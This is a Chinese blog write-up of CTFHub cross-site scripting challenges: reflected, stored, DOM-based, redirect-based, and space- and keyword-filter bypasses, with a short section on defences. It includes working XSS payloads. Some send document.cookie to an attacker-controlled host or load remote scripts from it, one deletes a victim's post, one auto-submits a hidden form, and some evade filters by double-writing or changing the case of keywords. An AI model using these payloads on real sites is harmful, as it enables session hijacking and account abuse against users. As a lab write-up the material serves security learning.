宣传一波 更好的阅读体验 👉 个人blog
XSS
因为人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,将跨站脚本攻击缩写为XSS。这就是XSS名字的由来。XSS攻击是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其他用户的使用界面中,通过代码所执行的不同行为,将Cookie或者其他信息发送给攻击者,攻击者可通过这些信息实施破坏或窃取有效信息为己用。
与 SQL 注入类似,XSS 也是利用提交恶意信息来实现攻击效果的攻击行为。但是 XSS 一般提交的是 Javascript 脚本,运行在 Web 前端,也就是用户的浏览器;而 SQL 注入提交的 SQL 指令是在后台数据库服务器执行。所以两者攻击的对象是不一样的。
XSS 按照攻击的手法,一般可以分为反射型 XSS(Reflected)、存储型 XSS(Strored)、DOM 型 XSS(DOM)。
0.xss平台
至于这个模块需要一个xss平台,我当时找到的要么要钱,要么注册需要邀请码,而且去找在线版的也不方便,不如就自己搭了一个,最上面的工具里面写了搭建方法(如果是在不会搭建,我搭建的可以借个你用但是我服务器到期时间24-03-25.,私信我)
注意需要一台服务器,我在本地也搭了一个,但是没有办法返回flag,问了一圈,有人告诉我是内网无法接收,我去查了原因,好像网关会拦截后者权限问题,有大佬懂请赐教
1.反射型
这篇博客写的挺详细CTFHub | 反射型-CSDN博客
1.初识反射型XSS
反射型XSS将用户输入的内容作为代码让浏览器执行达到攻击目的,一般需要让用户访问攻击者构造的URL。这种类型的攻击只发生在客户端上,并且需要从带有恶意脚本参数的特定URL进入,所以也称为非持久型XSS。
要使用反射型XSS,目标网页中要使用一个参数值作为动态显示到页面的数据,并且目标网页对该参数值没有进行有效的检验,这样,就能在URL中通过构造参数的方式插入XSS payload(恶意脚本),让用户在不知情的情况下点击URL,从而执行XSS payload。反射型XSS虽然只是一次性,但方便攻击者利用。
- Cookie劫持
现在,有一个攻击者“小黑”,他决定对一个用户“小锅”进行cookie劫持。假设有一个页面http://www.reflect_xss.com/test.html存在反射型XSS漏洞,小黑向小锅发送如下URL:
text
http://www.reflect_xss.com/test.html?msg=<script>var+img=document.createElement(“img”);+img.src=”http://www.Evildoer.com/”%2bescape(document.cookie);+document.appendChild(img)</script>
当小锅毫无察觉地访问这个URL之后,他的cookie信息就会被发送到由小黑控制的http://www. http://Evildoer.com站点上,小锅访问reflect_xss的令牌被小黑获悉。于是,小黑使用这个令牌而不需要密码就可以假冒小锅进入这个网站。
如果小黑觉得这个URL太长,他可以将具体实现的脚本代码放在自己的http://www. http://Evildoer.com上,将URL改成:
text
http://www.reflect_xss.com/test.html?msg=<script+src=http://www.Evildoer.com/evil_script.js> </script>
当这个URL被访问的时候,会加载一个恶意脚本http: //www. http://Evildoer.com/evil_script.js,达到和上面方法一样的效果。事实上,小黑还可以对URL中的脚本进行URL编码,使其恶意意图看起来不那么明显。
- Get请求
Get/post是web请求的两种方式,用户通过这两类请求来进行数据的增删查改。假设有一个博客网站http://www.bloggg.com,上面每篇博客都有一个blogID,当用户对点击删除博客的按钮时,会发送如下请求:
text
http://www.bloggg.com/deleteBlog.do?blogID=123
也就是说,只需要知道博客ID,已登录的用户通过请求这个URL就可以删除博客。小锅是这个博客网站的用户,他写了一篇博客(blogID=234567),小黑找到这篇博客的blogID,利用下面的XSS payload:
js
var img = document.createElement(‘img’);
img.src = http://www.bloggg.com/deleteBlog.do?blogID=234567
document.body.appendChild(img)
当小锅不知不觉地执行了这个脚本之后,他的那篇博客就被删除了。这段代码首先创建了一个[HTML_REMOVED]元素,然后为[HTML_REMOVED]元素指定src,这个URL就是删除博客的接口。这里只是定义了元素,事实上这个请求未被执行。只有当第三行代码执行的时候,[HTML_REMOVED]被添加到网页的DOM中,这个src属性才被访问,于是执行删除博客的请求。
- Post请求
Get请求将参数附在URL的尾部即可传递,与此不同的是,post请求的数据不显示在URL中,这避免重要数据轻易泄露。一般来说,可以通过form表单或XMLHttpRequest提交post请求。
小黑想用小锅的账号发一条动态来欺骗他的关注者,这条动态包括心情状态(mood)和一段文本(m_text)。所以小黑写了一段脚本,往页面中插入一个表单:
```js
var evil_form = document.createElement(‘div’);
document.body.appendChild(evil_form);
evil_form.innerHTML = ‘[HTML_REMOVED]’ +
‘[HTML_REMOVED]’ +
‘[HTML_REMOVED]’ +
[HTML_REMOVED]’
document.getElementById(“evil_form”).submit();
```
这个脚本实现了form表单的自动提交,如果为表单设置display:hidden,这个表单甚至可以没有在页面出现,小锅根本无法察觉。同理可以应用于各种嵌入标签。利用XMLHttpRequest对象也能够提交数据到指定接口。
- 防御方式
针对cookie劫持,最简单也很有效的方法是为敏感cookie设置一个HTTPOnly属性。设置了该属性的cookie项不能被脚本读取。这保护了敏感cookie不被劫持,也允许一些其他cookie可以被脚本读取使用。
注入型的漏洞都是由于未经检查和处理就将用户可以控制的数据作为输出、作为代码执行,因此要对这样的数据进行检查。对于涉及HTML标签、JavaScript代码的字符和词汇进行编码,使之不直接以原始的形式出现,减少作为代码被执行的可能。
这些漏洞能被利用的原因都是由于将数据当做代码执行,在编写代码的时候,要尽量做到两者的分离。对于输入数据,在JavaScript中要用引号包裹,同时使用JavaScriptEncode编码字符,防止攻击者将引号闭合。减少执行输入数据的操作,XSS攻击者就失去了很多攻击机会。
2.解题
先在第一个空填入
<script>alert(1)</script> #作用是弹出一个弹窗
发现能触发,那么大概率是由XSS漏洞的
在我们的xss平台有default.js模板,点击生成payload,输入到第一个空就行
我的js的左下角新增,选择default.js模板,选择插入模板,记得修改第一行填入你自己的ip(不要后面的admin.php)
这里我没有写出我的ip
输入之后把url输入到第二空
你的xss网站就会收到消息
3.总结
解释一下第一个空是用来产生我们可以操控而且可以被受害者访问的url的,第二个空就是用来让我们把恶意url发送给受害者让它访问的渠道的。服务器访问了我们带有xss的恶意url,运行了在xss平台服务器的脚本,所以才我们获取了它的cookie
2.存储型
存储型和反射性其实都差不多,唯一的差别就是payload是否会保存在目标服务器里面
最常见的就是留言板,个人信息,你填入的信息会被保存在数据库里面,当你填入的是payload的话,别人访问你的留言版时,服务器会从数据库运行payload,从而完成攻击
一句话来说就是就是使用者提交的XSS代码被存储到服务器上的数据库里或页面或某个上传文件里,导致用户访问页面展示的内容时直接触发xss代码。
比如说这题,你在第一空输入的值会被保存(即刷新浏览器不会改变,是因为第一次填入的值会发送给服务器,服务器进行保存,第二张图是用burp抓的包)
然后步骤和反射型一样
把payload输入到第一个输入框,并点击submit.(这个时候就相当于攻击者上传xss代码到服务器)
然后把靶场url复制到第二个输入框,点击send.(这个时候就相当于被攻击者点开链接)
最后,在XSS平台查看注入结果,即可得到flag。
3.DOM反射
DOM型xss和别的xss最大的区别就是它不经过服务器,仅仅是通过网页本身的JavaScript进行渲染触发的
&('#text')[0].innerHTML = '2' # 获取DOM树id=text数组的第一个
即我们可以利用闭环
输入
';</sript>+payload
把url写到第二空,xss平台就能看到flag了
4.DOM跳转
老样子先看源码,发现script
location.search: #这是一个JavaScript对象,表示URL的查询部分(即“?”之后的部分)。例如,在URL "http://example.com/?jumpto=section2"中,location.search的值是"?jumpto=section2"。
split("=") # 这个方法用于将字符串按照给定的分隔符(在这里是等号“=”)分割成一个数组。在上述例子中,location.search.split("=")的结果是一个数组["?jumpto", "section2"]。
target[0].slice(1): #target[0]获取上述数组的第一个元素,即"?jumpto"。然后,slice(1)方法用于截取该字符串从第二个字符开始到最后的子字符串,也就是去掉第一个字符?。所以,target[0].slice(1)的结果是"jumpto"。
if(target[0].slice(1)=="jumpto"): #这是一个条件判断语句,检查经过处理的查询参数名是否为"jumpto"。
location.href=target[1]; # 如果上述条件为真,即查询参数名为"jumpto",则执行这行代码。这行代码将当前页面的URL设置为查询参数的值,即"section2"。在这个例子中,页面会跳转到"http://example.com/section2"。
注意!当你将类似于 location.href = “javascript:alert(‘xss’)” 这样的代码赋值给 location.href 时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它。
http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800?jumpto=javascript:alert(1)
这题我们需要把恶意url填入下面的空行,xss平台会返回flag
网站/?jumpto=javascript:&getScript("payload的ip就行")
ps:我在路径上面输入的话,xss平台并没有反应,按理来说是触发了脚本的,这里可能是因为访问失败?
5.过滤空格
这个挺简单的,联想到SQL注入时的过滤空格就行了,把空格化成注释就行了,步骤和上面一样
6.过滤关键字
这次直接浏览器输入payload,发现 script
被过滤掉了
碰到这种情况不要慌,下面给出两种方法绕过过滤关键字。
1.双写绕过
</textarea>'"><scrscriptipt src=http://xsscom.com//cZ2vvZ></scrscriptipt>
2.大小写绕过
</textarea>'"><Script src=http://xsscom.com//cZ2vvZ></scRipt>
然后就是去xss平台查看flag就行了( ̄︶ ̄)↗